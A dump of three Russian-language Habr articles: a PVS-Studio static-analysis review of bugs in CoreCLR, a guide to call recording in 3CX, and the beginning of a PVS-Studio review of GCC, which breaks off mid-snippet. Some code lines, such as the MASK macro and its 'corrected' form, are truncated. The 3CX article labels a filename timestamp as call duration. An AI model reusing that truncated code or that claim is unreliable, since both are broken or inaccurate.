[CoreCLR](https://github.com/dotnet/coreclr) является средой исполнения .NET Core, выполняя такие функции как сборку мусора или компиляции в конечный машинный код. .Net Core — это модульная реализация .Net, которая может быть использована как база для огромного количества сценариев.
Исходный код с недавнего времени доступен на GitHub и проверялся с помощью [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) 5.23. Как и я, желающие могут получить полный лог проверки с помощью Microsoft Visual Studio Community Edition, выход которой тоже был недавней [новостью](http://www.viva64.com/ru/n/0102/) от Microsoft.
Опечатки
--------
Традиционно я начинаю с мест, похожих на опечатки. В условных выражениях повторяются переменные, константы, макросы или поля структур/классов. Наличие ошибки — предмет дискуссий, тем не менее такие места были найдены и выглядят подозрительно.
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions 'tree->gtOper == GT\_CLS\_VAR' to the left and to the right of the '||' operator. ClrJit lsra.cpp 3140
```
// register variable
GTNODE(GT_REG_VAR , "regVar" ,0,GTK_LEAF|GTK_LOCAL)
// static data member
GTNODE(GT_CLS_VAR , "clsVar" ,0,GTK_LEAF)
// static data member address
GTNODE(GT_CLS_VAR_ADDR , "&clsVar" ,0,GTK_LEAF)
....
void LinearScan::buildRefPositionsForNode(GenTree *tree, ....)
{
....
if ((tree->gtOper == GT_CLS_VAR ||
tree->gtOper == GT_CLS_VAR) && i == 1)
{
registerType = TYP_PTR;
currCandidates = allRegs(TYP_PTR);
}
....
}
```
Хотя структура 'GenTree' имеет похожее по имени поле «tree->gtType», но оно имеет другой тип с «tree->gtOper». Думаю, здесь дело в скопированной константе. То-есть в выражении должна использоваться ещё одна константа, помимо GT\_CLS\_VAR.
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions 'DECODE\_PSP\_SYM' to the left and to the right of the '|' operator. daccess 264
```
enum GcInfoDecoderFlags
{
DECODE_SECURITY_OBJECT = 0x01,
DECODE_CODE_LENGTH = 0x02,
DECODE_VARARG = 0x04,
DECODE_INTERRUPTIBILITY = 0x08,
DECODE_GC_LIFETIMES = 0x10,
DECODE_NO_VALIDATION = 0x20,
DECODE_PSP_SYM = 0x40,
DECODE_GENERICS_INST_CONTEXT = 0x80,
DECODE_GS_COOKIE = 0x100,
DECODE_FOR_RANGES_CALLBACK = 0x200,
DECODE_PROLOG_LENGTH = 0x400,
DECODE_EDIT_AND_CONTINUE = 0x800,
};
size_t GCDump::DumpGCTable(PTR_CBYTE table, ....)
{
GcInfoDecoder hdrdecoder(table,
(GcInfoDecoderFlags)( DECODE_SECURITY_OBJECT
| DECODE_GS_COOKIE
| DECODE_CODE_LENGTH
| DECODE_PSP_SYM //<==1
| DECODE_VARARG
| DECODE_PSP_SYM //<==1
| DECODE_GENERICS_INST_CONTEXT //<==2
| DECODE_GC_LIFETIMES
| DECODE_GENERICS_INST_CONTEXT //<==2
| DECODE_PROLOG_LENGTH),
0);
....
}
```
Тут даже две повторяющиеся константы, хотя в перечислении " GcInfoDecoderFlags" есть и другие константы, которые в условии не используются.
Ещё похожие места:* V501 There are identical sub-expressions 'varLoc1.vlStk2.vls2BaseReg' to the left and to the right of the '==' operator. cee\_wks util.cpp 657
* V501 There are identical sub-expressions 'varLoc1.vlStk2.vls2Offset' to the left and to the right of the '==' operator. cee\_wks util.cpp 658
* V501 There are identical sub-expressions 'varLoc1.vlFPstk.vlfReg' to the left and to the right of the '==' operator. cee\_wks util.cpp 661
[V700](http://www.viva64.com/ru/d/0339/) Consider inspecting the 'T foo = foo = ...' expression. It is odd that variable is initialized through itself. cee\_wks zapsig.cpp 172
```
BOOL ZapSig::GetSignatureForTypeHandle(....)
{
....
CorElementType elemType = elemType =
TryEncodeUsingShortcut(pMT);
....
}
```
Вроде бы просто лишнее присваивание, но такие ошибки часто делают при копировании кода и забывают что-нибудь переименовать. В любом случае, в таком виде код бессмысленный.
[V523](http://www.viva64.com/ru/d/0112/) The 'then' statement is equivalent to the 'else' statement. cee\_wks threadsuspend.cpp 2468
```
enum __MIDL___MIDL_itf_mscoree_0000_0004_0001
{
OPR_ThreadAbort = 0,
OPR_ThreadRudeAbortInNonCriticalRegion = .... ,
OPR_ThreadRudeAbortInCriticalRegion = ....) ,
OPR_AppDomainUnload = .... ,
OPR_AppDomainRudeUnload = ( OPR_AppDomainUnload + 1 ) ,
OPR_ProcessExit = ( OPR_AppDomainRudeUnload + 1 ) ,
OPR_FinalizerRun = ( OPR_ProcessExit + 1 ) ,
MaxClrOperation = ( OPR_FinalizerRun + 1 )
} EClrOperation;
void Thread::SetRudeAbortEndTimeFromEEPolicy()
{
LIMITED_METHOD_CONTRACT;
DWORD timeout;
if (HasLockInCurrentDomain())
{
timeout = GetEEPolicy()->
GetTimeout(OPR_ThreadRudeAbortInCriticalRegion); //<==
}
else
{
timeout = GetEEPolicy()->
GetTimeout(OPR_ThreadRudeAbortInCriticalRegion); //<==
}
....
}
```
Данная диагностика находит одинаковые блоки в конструкциях if/else. И здесь тоже есть подозрение на опечатку в константе. В первом случае, по смыслу как раз подходит «OPR\_ThreadRudeAbortInNonCriticalRegion».
Аналогичные места:* V523 The 'then' statement is equivalent to the 'else' statement. ClrJit instr.cpp 3427
* V523 The 'then' statement is equivalent to the 'else' statement. ClrJit flowgraph.cpp 18815
* V523 The 'then' statement is equivalent to the 'else' statement. daccess dacdbiimpl.cpp 6374
Список инициализации конструктора
---------------------------------
[V670](http://www.viva64.com/ru/d/0300/) The uninitialized class member 'gcInfo' is used to initialize the 'regSet' member. Remember that members are initialized in the order of their declarations inside a class. ClrJit codegencommon.cpp 92
```
CodeGenInterface *getCodeGenerator(Compiler *comp);
class CodeGenInterface
{
friend class emitter;
public:
....
RegSet regSet; //<=== line 91
....
public:
GCInfo gcInfo; //<=== line 322
....
};
// CodeGen constructor
CodeGenInterface::CodeGenInterface(Compiler* theCompiler) :
compiler(theCompiler),
gcInfo(theCompiler),
regSet(theCompiler, gcInfo)
{
}
```
Согласно стандарту, порядок инициализация членов класса в конструкторе происходит в порядке их объявления в классе. Для исправления ошибки следует перенести объявление члена класса 'gcInfo' выше объявления 'regSet'.
Ложное, но полезное предупреждение
----------------------------------
V705 It is possible that 'else' block was forgotten or commented out, thus altering the program's operation logics. daccess daccess.cpp 2979
```
HRESULT Initialize()
{
if (hdr.dwSig == sig)
{
m_rw = eRO;
m_MiniMetaDataBuffSizeMax = hdr.dwTotalSize;
hr = S_OK;
}
else
// when the DAC initializes this for the case where the target is
// (a) a live process, or (b) a full dump, buff will point to a
// zero initialized memory region (allocated w/ VirtualAlloc)
if (hdr.dwSig == 0 && hdr.dwTotalSize == 0 && hdr.dwCntStreams == 0)
{
hr = S_OK;
}
// otherwise we may have some memory corruption. treat this as
// a liveprocess/full dump
else
{
hr = S_FALSE;
}
....
}
```
Анализатор обнаружил подозрительное место в коде. Здесь видно, что код ПРОкомментирован и всё нормально. Но такого типа ошибки очень распространены, когда код после 'else' ЗАкомментирован и следующий за ним оператор становится частью условия. В данном примере нет ошибки, но её вполне можно допустить при редактировании этого места в будущем.
64-битная ошибка
----------------
[V673](http://www.viva64.com/ru/d/0306/) The '0xefefefef << 28' expression evaluates to 1080581331517177856. 60 bits are required to store the value, but the expression evaluates to the 'unsigned' type which can only hold '32' bits. cee\_dac \_dac object.inl 95
```
inline void Object::EnumMemoryRegions(void)
{
....
SIZE_T size = sizeof(ObjHeader) + sizeof(Object);
....
size |= 0xefefefef << 28;
....
}
```
Про термин «64-битная ошибка» можно прочесть [здесь](http://www.viva64.com/ru/t/0002/). В данном примере, после сдвига будет выполняться операция «size |= 0xf0000000» в 32-х битной программе и «size |= 0x00000000f0000000» в 64-х битной. Скорее всего, в 64-х битной программе планировали вычислять: «size |= 0x0efefefef0000000». Но где же теряется старшая часть числа?
Число «0xefefefef» имеет тип 'unsigned', так как не помещается в тип 'int'. Выполняется сдвиг 32-х битного числа и в результате мы получим 0xf0000000 беззнакового типа. Далее это беззнаковое число расширится до SIZE\_T и мы получим 0x00000000f0000000.
Для корректной работы необходимо сначала выполнить явное приведение типа. Пример корректного кода:
```
inline void Object::EnumMemoryRegions(void)
{
....
SIZE_T size = sizeof(ObjHeader) + sizeof(Object);
....
size |= SIZE_T(0xefefefef) << 28;
....
}
```
Ещё такое место:* V673 The '0xefefefef << 28' expression evaluates to 1080581331517177856. 60 bits are required to store the value, but the expression evaluates to the 'unsigned' type which can only hold '32' bits. cee\_dac dynamicmethod.cpp 807
Код «в отставке»
----------------
Порой условия пишутся так, что буквально противоречат друг другу.
[V637](http://www.viva64.com/ru/d/0255/) Two opposite conditions were encountered. The second condition is always false. Check lines: 31825, 31827. cee\_wks gc.cpp 31825
```
void gc_heap::verify_heap (BOOL begin_gc_p)
{
....
if (brick_table [curr_brick] < 0)
{
if (brick_table [curr_brick] == 0)
{
dprintf(3, ("curr_brick %Ix for object %Ix set to 0",
curr_brick, (size_t)curr_object));
FATAL_GC_ERROR();
}
....
}
....
}
```
Код, который никогда не получает управление, но он выглядит не таким значимым, как в следующем примере:
[V517](http://www.viva64.com/ru/d/0106/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 2353, 2391. utilcode util.cpp 2353
```
void PutIA64Imm22(UINT64 * pBundle, UINT32 slot, INT32 imm22)
{
if (slot == 0)
{
const UINT64 mask0 = UI64(0xFFFFFC000603FFFF);
/* Clear all bits used as part of the imm22 */
pBundle[0] &= mask0;
UINT64 temp0;
temp0 = (UINT64) (imm22 & 0x200000) << 20; // 1 s
temp0 |= (UINT64) (imm22 & 0x1F0000) << 11; // 5 imm5c
temp0 |= (UINT64) (imm22 & 0x00FF80) << 25; // 9 imm9d
temp0 |= (UINT64) (imm22 & 0x00007F) << 18; // 7 imm7b
/* Or in the new bits used in the imm22 */
pBundle[0] |= temp0;
}
else if (slot == 1)
{
....
}
else if (slot == 0) //<==
{
const UINT64 mask1 = UI64(0xF000180FFFFFFFFF);
/* Clear all bits used as part of the imm22 */
pBundle[1] &= mask1;
UINT64 temp1;
temp1 = (UINT64) (imm22 & 0x200000) << 37; // 1 s
temp1 |= (UINT64) (imm22 & 0x1F0000) << 32; // 5 imm5c
temp1 |= (UINT64) (imm22 & 0x00FF80) << 43; // 9 imm9d
temp1 |= (UINT64) (imm22 & 0x00007F) << 36; // 7 imm7b
/* Or in the new bits used in the imm22 */
pBundle[1] |= temp1;
}
FlushInstructionCache(GetCurrentProcess(),pBundle,16);
}
```
Возможно, очень важный код никогда не получает управление из-за ошибки в каскаде условных операторов.
Ещё подозрительные места:* V637 Two opposite conditions were encountered. The second condition is always false. Check lines: 2898, 2900. daccess nidump.cpp 2898
* V637 Two opposite conditions were encountered. The second condition is always false. Check lines: 337, 339. utilcode prettyprintsig.cpp 337
* V637 Two opposite conditions were encountered. The second condition is always false. Check lines: 774, 776. utilcode prettyprintsig.cpp 774
Неопределённое поведение
------------------------
[V610](http://www.viva64.com/ru/d/0225/) Undefined behavior. Check the shift operator '<<'. The left operand '-1' is negative. bcltype metamodel.h 532
```
inline static mdToken decodeToken(....)
{
//@FUTURE: make compile-time calculation
ULONG32 ix = (ULONG32)(val & ~(-1 << m_cb[cTokens]));
if (ix >= cTokens)
return rTokens[0];
return TokenFromRid(val >> m_cb[cTokens], rTokens[ix]);
}
```
Анализатор обнаружил операцию сдвига отрицательного числа, которая приводит к неопределенному поведению.
V610 Undefined behavior. Check the shift operator '<<'. The left operand '(~0)' is negative. cee\_dac decodemd.cpp 456
```
#define bits_generation 2
#define generation_mask (~(~0 << bits_generation))
#define MASK(len) (~((~0)<
```
Благодаря сообщению анализатора V610 я нашёл несколько некорректных макросов. '~0' приводится к знаковому отрицательному числу типа int, после чего выполняется сдвиг. Как в одном из макросов, необходимо выполнить явное преобразование к unsigned:
```
#define bits_generation 2
#define generation_mask (~(~((unsigned int)0) << bits_generation))
#define MASK(len) (~((~((unsigned int)0))<
```
Некорректный sizeof(xx)
-----------------------
[V579](http://www.viva64.com/ru/d/0181/) The DacReadAll function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. daccess dacimpl.h 1688
```
template
inline bool MisalignedRead(CORDB\_ADDRESS addr, T \*t)
{
return SUCCEEDED(DacReadAll(TO\_TADDR(addr), t, sizeof(t), false));
}
```
Вот такая маленькая функция, которая всегда берёт размер указателя. Скорее всего, тут хотели написать «sizeof(\*t)», ну или «sizeof(T)».
Ещё один наглядный примерчик:
[V579](http://www.viva64.com/ru/d/0181/) The Read function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. util.cpp 4943
```
HRESULT GetMTOfObject(TADDR obj, TADDR *mt)
{
if (!mt)
return E_POINTER;
HRESULT hr = rvCache->Read(obj, mt, sizeof(mt), NULL);
if (SUCCEEDED(hr))
*mt &= ~3;
return hr;
}
```
Семейство функций «memFAIL»
---------------------------
С использованием memXXX-функций можно допустить самые разные ошибки. Для поиска таких мест в анализаторе есть несколько диагностических правил.
[V512](http://www.viva64.com/ru/d/0101/) A call of the 'memset' function will lead to underflow of the buffer 'pAddExpression'. sos strike.cpp 11973
```
DECLARE_API(Watch)
{
....
if(addExpression.data != NULL || aExpression.data != NULL)
{
WCHAR pAddExpression[MAX_EXPRESSION];
memset(pAddExpression, 0, MAX_EXPRESSION);
swprintf_s(pAddExpression, MAX_EXPRESSION, L"%S", ....);
Status = g_watchCmd.Add(pAddExpression);
}
....
}
```
Распространённая ошибка, когда забывают делать поправку на размер типа:
```
WCHAR pAddExpression[MAX_EXPRESSION];
memset(pAddExpression, 0, sizeof(WCHAR)*MAX_EXPRESSION);
```
Еще несколько таких мест:* V512 A call of the 'memset' function will lead to underflow of the buffer 'pSaveName'. sos strike.cpp 11997
* V512 A call of the 'memset' function will lead to underflow of the buffer 'pOldName'. sos strike.cpp 12013
* V512 A call of the 'memset' function will lead to underflow of the buffer 'pNewName'. sos strike.cpp 12016
* V512 A call of the 'memset' function will lead to underflow of the buffer 'pExpression'. sos strike.cpp 12024
* V512 A call of the 'memset' function will lead to underflow of the buffer 'pFilterName'. sos strike.cpp 12039
[V598](http://www.viva64.com/ru/d/0209/) The 'memcpy' function is used to copy the fields of 'GenTree' class. Virtual table pointer will be damaged by this. ClrJit compiler.hpp 1344
```
struct GenTree
{
....
#if DEBUGGABLE_GENTREE
virtual void DummyVirt() {}
#endif // DEBUGGABLE_GENTREE
....
};
void GenTree::CopyFrom(const GenTree* src, Compiler* comp)
{
....
memcpy(this, src, src->GetNodeSize());
....
}
```
Если объявлена переменная препроцессора 'DEBUGGABLE\_GENTREE', то определяется виртуальная функция. Тогда класс содержит указатель на таблицу виртуальных методов и его уже нельзя вот так просто копировать.
[V598](http://www.viva64.com/ru/d/0209/) The 'memcpy' function is used to copy the fields of 'GCStatistics' class. Virtual table pointer will be damaged by this. cee\_wks gc.cpp 287
```
struct GCStatistics
: public StatisticsBase
{
....
virtual void Initialize();
virtual void DisplayAndUpdate();
....
};
GCStatistics g_LastGCStatistics;
void GCStatistics::DisplayAndUpdate()
{
....
memcpy(&g_LastGCStatistics, this, sizeof(g_LastGCStatistics));
....
}
```
В этом месте некорректное копирование выполняется не только в режиме отладки.
[V698](http://www.viva64.com/ru/d/0337/) Expression 'memcmp(....) == -1' is incorrect. This function can return not only the value '-1', but any negative value. Consider using 'memcmp(....) < 0' instead. sos util.cpp 142
```
bool operator( )(const GUID& _Key1, const GUID& _Key2) const
{ return memcmp(&_Key1, &_Key2, sizeof(GUID)) == -1; }
```
Сравнивать результат функции 'memcmp' со значением 1 или -1 не корректно. Работоспособность таких конструкций зависит от библиотек, компилятора, его настроек, операционной системы, её разрядности и так далее; в таком случае необходимо проверять одно из трёх состояний: '< 0', '0' или '> 0'.
Аналогичное место:* V698 Expression 'wcscmp(....) == -1' is incorrect. This function can return not only the value '-1', but any negative value. Consider using 'wcscmp(....) < 0' instead. sos strike.cpp 3855
Про указатели
-------------
[V522](http://www.viva64.com/ru/d/0111/) Dereferencing of the null pointer 'hp' might take place. cee\_wks gc.cpp 4488
```
heap_segment* gc_heap::get_segment_for_loh (size_t size
#ifdef MULTIPLE_HEAPS
, gc_heap* hp
#endif //MULTIPLE_HEAPS
)
{
#ifndef MULTIPLE_HEAPS
gc_heap* hp = 0;
#endif //MULTIPLE_HEAPS
heap_segment* res = hp->get_segment (size, TRUE);
....
}
```
Если 'MULTIPLE\_HEAPS' не определён, то беда. Указатель окажется равен нулю.
[V595](http://www.viva64.com/ru/d/0205/) The 'tree' pointer was utilized before it was verified against nullptr. Check lines: 6970, 6976. ClrJit gentree.cpp 6970
```
void Compiler::gtDispNode(GenTreePtr tree, ....)
{
....
if (tree->gtOper >= GT_COUNT)
{
printf(" **** ILLEGAL NODE ****");
return;
}
if (tree && printFlags)
{
/* First print the flags associated with the node */
switch (tree->gtOper)
{
....
}
....
}
....
}
```
В исходном коде распространены места, когда валидность указателя таки проверяется, но уже после разыменования.
Весь список: [CoreCLR\_V595.txt](http://www.viva64.com/external-pictures/txt/CoreCLR_V595.txt).
Лишние проверки
---------------
Даже если лишний код не наносит вреда, то его наличие может просто отвлекать внимание разработки от более важных мест.
[V503](http://www.viva64.com/ru/d/0092/) This is a nonsensical comparison: pointer >= 0. cee\_wks gc.cpp 21707
```
void gc_heap::make_free_list_in_brick (BYTE* tree,
make_free_args* args)
{
assert ((tree >= 0));
....
}
```
Вот такая проверка указателя. Ещё примеры:* V503 This is a nonsensical comparison: pointer >= 0. cee\_wks gc.cpp 23204
* V503 This is a nonsensical comparison: pointer >= 0. cee\_wks gc.cpp 27683
[V547](http://www.viva64.com/ru/d/0137/) Expression 'maxCpuId >= 0' is always true. Unsigned type value is always >= 0. cee\_wks codeman.cpp 1219
```
void EEJitManager::SetCpuInfo()
{
....
unsigned char buffer[16];
DWORD maxCpuId = getcpuid(0, buffer);
if (maxCpuId >= 0)
{
....
}
```
Похожий пример, только с типом DWORD.
[V590](http://www.viva64.com/ru/d/0194/) Consider inspecting the 'wzPath[0] != L'\0' && wzPath[0] == L'\\'' expression. The expression is excessive or contains a misprint. cee\_wks path.h 62
```
static inline bool
HasUncPrefix(LPCWSTR wzPath)
{
_ASSERTE(!clr::str::IsNullOrEmpty(wzPath));
return wzPath[0] != W('\0') && wzPath[0] == W('\\')
&& wzPath[1] != W('\0') && wzPath[1] == W('\\')
&& wzPath[2] != W('\0') && wzPath[2] != W('?');
}
```
Эту функцию можно упросить до такого варианта:
```
static inline bool
HasUncPrefix(LPCWSTR wzPath)
{
_ASSERTE(!clr::str::IsNullOrEmpty(wzPath));
return wzPath[0] == W('\\')
&& wzPath[1] == W('\\')
&& wzPath[2] != W('\0')
&& wzPath[2] != W('?');
}
```
Ещё такое место:* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. cee\_wks path.h 72
[V571](http://www.viva64.com/ru/d/0169/) Recurring check. The 'if (moduleInfo[MSCORWKS].baseAddr == 0)' condition was already verified in line 749. sos util.cpp 751
```
struct ModuleInfo
{
ULONG64 baseAddr;
ULONG64 size;
BOOL hasPdb;
};
HRESULT CheckEEDll()
{
....
// Do we have clr.dll
if (moduleInfo[MSCORWKS].baseAddr == 0) //<==
{
if (moduleInfo[MSCORWKS].baseAddr == 0) //<==
g_ExtSymbols->GetModuleByModuleName (
MAIN_CLR_MODULE_NAME_A,0,NULL,
&moduleInfo[MSCORWKS].baseAddr);
if (moduleInfo[MSCORWKS].baseAddr != 0 && //<==
moduleInfo[MSCORWKS].hasPdb == FALSE)
{
....
}
....
}
....
}
```
Во втором случае 'baseAddr' уже можно не проверять.
[V704](http://www.viva64.com/ru/d/0343/) 'this == nullptr' expression should be avoided — this expression is always false on newer compilers, because 'this' pointer can never be NULL. ClrJit gentree.cpp 12731
```
bool FieldSeqNode::IsFirstElemFieldSeq()
{
if (this == nullptr)
return false;
return m_fieldHnd == FieldSeqStore::FirstElemPseudoField;
}
```
Согласно стандарту С++, указатель this никогда не может быть нулевым. О возможных последствиях такого кода можно подробно прочитать в описании диагностики [V704](http://www.viva64.com/ru/d/0343/). То, что такой код может работать корректно после компиляции компилятором Visual C++, это просто везение и полагаться на него по-честному нельзя.
Весь список: [CoreCLR\_V704.txt](http://www.viva64.com/external-pictures/txt/CoreCLR_V704.txt).
[V668](http://www.viva64.com/ru/d/0293/) There is no sense in testing the 'newChunk' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. ClrJit stresslog.h 552
```
FORCEINLINE BOOL GrowChunkList ()
{
....
StressLogChunk * newChunk = new StressLogChunk (....);
if (newChunk == NULL)
{
return FALSE;
}
....
}
```
Если оператор 'new' не смог выделить память, то согласно стандарту языка Си++, генерируется исключение std::bad\_alloc(). Таким образом проверять указатель на равенство нулю не имеет смысла.
Лучше проверить такие места, вот полный список: [CoreCLR\_V668.txt](http://www.viva64.com/external-pictures/txt/CoreCLR_V668.txt).
Заключение
----------
Недавно открытый проект CoreCLR хороший пример того, как может выглядеть софт с закрытым исходным кодом. На эту тему постоянно ведутся дискуссии и вот вам ещё один повод для размышлений и обсуждений.
Для нас же важно, что в любом большом проекте можно найти какие-то ошибки и самое лучшее применение статическому анализатору – это регулярные проверки. Не ленитесь, [скачайте](http://www.viva64.com/ru/pvs-studio-download/) PVS-Studio и проверьте свой проект.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [PVS-Studio: 25 Suspicious Code Fragments in CoreCLR](http://www.viva64.com/en/b/0310/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/253280/ | null | ru | null |
# Пишем и слушаем разговоры в 3CX
Запись разговоров одна из наиболее востребованных функций в телефонной станции. В 3CX данная функция уже встроена и доступна для 100% абонентов для любой коммерческой лицензии.
**Как записывать?**
3CX пишет все звонки на конкретного абонента, входящие/исходящие/внешние/внутренние система не различает. Чтобы включить – ставим в админке галку.
Дополнительно можно настроить путь для записи.
Конечно же, кроме тотальной записи всего, есть запись по запросу. Для этого используется 3CX Phone (только в режиме софтфона). В приложении просто жмем REC. Запись в течение разговора можно включать и отключать без ограничений.
Сама запись ведется следующим образом, по указанному пути автоматически создаются папки с внутренними номерами (например, 100) и в нее складываются файлы записей разговоров.
Формат файла – wav, имя состоит из следующих компонент
**DisplayName\_Ext\_DialedNum\_YearMonthDayHourMinuteSecond.wav**, где
* DisplayName – имя звонящего
* Ext– внутренний номер
* DialedNum – номер откуда или куда звонили
* YearMonthDayHourMinuteSecond – продолжительность звонка
Кстати, есть альтернативный способ поиска записей сторонними утилитами, описан [здесь](http://www.3cx.com/blog/voip-howto/managing-recordings/).
**Как слушать?**
Прослушать звонки можно двумя способами:
1. Через общую статистику
2. Через софтфон
*Записи в статистике*
Достаточно перейти по ссылке вида
`IP_АДРЕС_АТС:5000/reports`. Для доступа нужен либо пароль админа, либо права для доступа к статистике.
Права доступа задаются в настройках пользователя.
Фильтром выбираем интересующие звонки. Файлы записи будут доступны в правой колонке в виде скачиваемых файлов.
**Записи в софтфоне**
Здесь отображаются только записи определенного абонента. Можно скачать файл или слушать через телефон.
**Как администрировать?**
Администрировать (точнее удалить) запись можно на уровне админа, а можно дать эту возможность абоненту.
Как уже ранее упоминалось, записи хранятся в виде файлов в выделенной папке. Самый простой способ – удалить эти файлы, правда в этом случае останутся ссылки на них в базе данных.
Второй способ разрешить абоненту удалять записи статистики.
Третья возможность – через 3CX Phone.
В этом случае у абонента должны быть соответствующие права.
**Дальше будет еще удобнее**
В [3CX Phone System v 14](http://www.3cx.com/blog/releases/v14-beta-release/), финальный релиз который мы ждем на днях, в настройках добавили квоту по звуковым файлам, теперь можно задать срок давности:
Настройка сроков давности:
* Automatically delete all recording older than (удаление файлов записи разговоров старше указанного времени), указывается значение от 1 до 30 дней.
* Automatically delete all voice mails older than (удаление файлов голосовой почты старше чем), указывается значение от 1 до 30 дней.
Все файлы, старше указанного времени будут автоматически удалены.
**Управление звуковыми файлами (Recording Management)**
Менеджер управления звуковыми файлами, где в ручном режиме можно скачать файл или удалить в ручном режиме.
На этом возможности по записи не заканчиваются и есть вам не хватает текущего функционала можно сделать кастомизированную систему из open-sorce компонент. В двух словах, это модуль записи OrkAudio, MySQL и Apache. Запись ведется по принципу сниффера трафика с порта АТС. Подробная инструкция как настроить есть [здесь](http://www.icepartners.ru/sistema-zapisi-razgovorov-dlya-3cx-phone-system.html).
На этом все, удачи! | https://habr.com/ru/post/263531/ | null | ru | null |
# Находим ошибки в коде компилятора GCC с помощью анализатора PVS-Studio
Я регулярно проверяю различные открытые проекты, чтобы продемонстрировать возможности статического анализатора кода PVS-Studio (C, C++, C#). Настало время компилятора GCC. Бесспорно, GCC — это очень качественный и оттестированный проект, поэтому найти в нём хотя бы несколько ошибок уже большое достижение для любого инструмента. К моей радости, PVS-Studio справился с этой задачей. Никто не застрахован от опечаток и невнимательности. Именно поэтому PVS-Studio может стать вашей дополнительной линией обороны на фронте бесконечной войны с багами.
GCC
---
[GNU Compiler Collection](https://gcc.gnu.org/) (обычно используется сокращение GCC) — набор компиляторов для различных языков программирования, разработанный в рамках проекта GNU. GCC является свободным программным обеспечением, распространяется фондом свободного программного обеспечения на условиях GNU GPL и GNU LGPL и является ключевым компонентом GNU toolchain. Проект написан на языке C и C++.
Компилятор GCC имеет хорошие встроенные диагностики, помогающие выявлять многие ошибки на этапе компиляции. Естественно, GCC собирается с помощью GCC и, соответственно, может выявлять ошибки в собственном коде. Дополнительно исходный код GCC [проверяется](https://scan.coverity.com/projects/gcc) с помощью анализатора Coverity. Да и вообще, думаю GCC проверялся энтузиастами с помощью многих анализаторов и других инструментов. Это делает поиск ошибок в GCC большим испытанием для анализатора кода PVS-Studio.
Для анализа была взята trunk версия из [git-репозитория](http://git://gcc.gnu.org/git/gcc.git): (git) commit 00a7fcca6a4657b6cf203824beda1e89f751354b svn+ssh://gcc.gnu.org/svn/gcc/trunk@238976
Примечание. Статья задержалась с выходом, и возможно какие-то ошибки уже исправлены. Но это не имеет значения: постоянно появляются новые ошибки, старые исчезают. Главное — статья показывает, что статический анализ может помогать программистам выявлять ошибки после их появления.
Предвидя дискуссию
------------------
Как я сказал во введении, я считаю GCC проектом с высоким качеством кода. Уверен, многие захотят поспорить. В качестве примера приведу цитату из Wikipedia на русском языке:
*Некоторые разработчики OpenBSD, например Тео де Раадт и Отто Мурбек (Otto Moerbeek), [*критикуют*](http://www.thejemreport.com/content/view/369/) GCC, называя его «громоздким, глючным, медленным и генерирующим плохой код».*
Я считаю такие заявления необоснованными. Да, возможно, код GCC содержит много макросов, которые затрудняют его чтение. Но я никак не могу согласиться с заявлением о его глючности. Если бы GCC глючил, вообще бы нигде ничего не работало. Вы только вспомните, как много программ им компилируется и успешно работает. Создатели GCC делают огромную, сложную работу с большим профессионализмом. Спасибо им. Я рад, что могу протестировать работу PVS-Studio на таком высококачественном проекте.
Для тех, кто скажет, что код компилятора Clang всё равно круче, напомню: в нём PVS-Studio также находил ошибки: [1](http://www.viva64.com/ru/b/0108/), [2](http://www.viva64.com/ru/b/0155/).
PVS-Studio
----------
Я проверил код GCC с помощью Alpha-версии анализатора PVS-Studio for Linux. Мы планируем начать выдавать заинтересовавшимся программистам Beta-версию анализатора в середине сентября 2016 года. Инструкцию о том, как стать одним из первых, кто сможет попробовать Beta-версию PVS-Studio for Linux на своём проекте, вы найдете в статье "[PVS-Studio признаётся в любви к Linux](http://www.viva64.com/ru/b/0415/)".
Если вы читаете эту статью гораздо позже, чем сентябрь 2016, и хотите попробовать PVS-Studio for Linux, то приглашаю вас на страницу продукта: <http://www.viva64.com/ru/pvs-studio/>
Результаты проверки
-------------------
Мы добрались до самого интересного раздела, который, я думаю, с нетерпением ждут наши постоянные читатели. Рассмотрим участки кода, где анализатор нашел ошибки или крайне подозрительные моменты.
К сожалению, я не могу выдать разработчикам компилятора полный отчёт. В нем пока слишком много мусора (ложных срабатываний), связанных с тем, что анализатор не полностью готов к встрече с миром Linux. Нужно проделать работу по уменьшению количества ложных предупреждений на типовые используемые конструкции. Попробую пояснить на одном простом примере. Многие диагностики не должны ругаться на выражения, относящиеся к макросам *assert*. Эти макросы бывают устроены весьма творчески и надо научить анализатор не обращать на них внимание. Но дело в том, что определяется макрос *assert* очень по-разному, и надо обучить анализатор всем типовым вариантам.
Поэтому разработчиков GCC прошу подождать выхода по крайней мере Beta-версии анализатора. Я не хочу испортить впечатление отчетом, сгенерированным недоделанной версией.
### Классика (Copy-Paste)
Начнем мы с самой классической и распространённой ошибки, которая выявляется с помощью диагностики [V501](http://www.viva64.com/ru/d/0090/). Как правило, такие ошибки появляются из-за невнимательности при Copy-Paste или просто являются опечатками, допускаемыми при наборе нового кода.
```
static bool
dw_val_equal_p (dw_val_node *a, dw_val_node *b)
{
....
case dw_val_class_vms_delta:
return (!strcmp (a->v.val_vms_delta.lbl1,
b->v.val_vms_delta.lbl1)
&& !strcmp (a->v.val_vms_delta.lbl1,
b->v.val_vms_delta.lbl1));
....
}
```
**Предупреждение анализатора PVS-Studio:** V501 There are identical sub-expressions '!strcmp(a->v.val\_vms\_delta.lbl1, b->v.val\_vms\_delta.lbl1)' to the left and to the right of the '&&' operator. dwarf2out.c 1428
Быстро увидеть ошибки проблематично и следует внимательно присмотреться. Именно поэтому ошибка и не была выявлена при обзорах кода и рефакторинге.
Функция *strcmp* дважды сравнивает одни и те же строки. Мне кажется, второй раз следовало сравнивать не члены класса *lbl1*, а *lbl2*. Тогда корректный код должен выглядеть так:
```
return (!strcmp (a->v.val_vms_delta.lbl1,
b->v.val_vms_delta.lbl1)
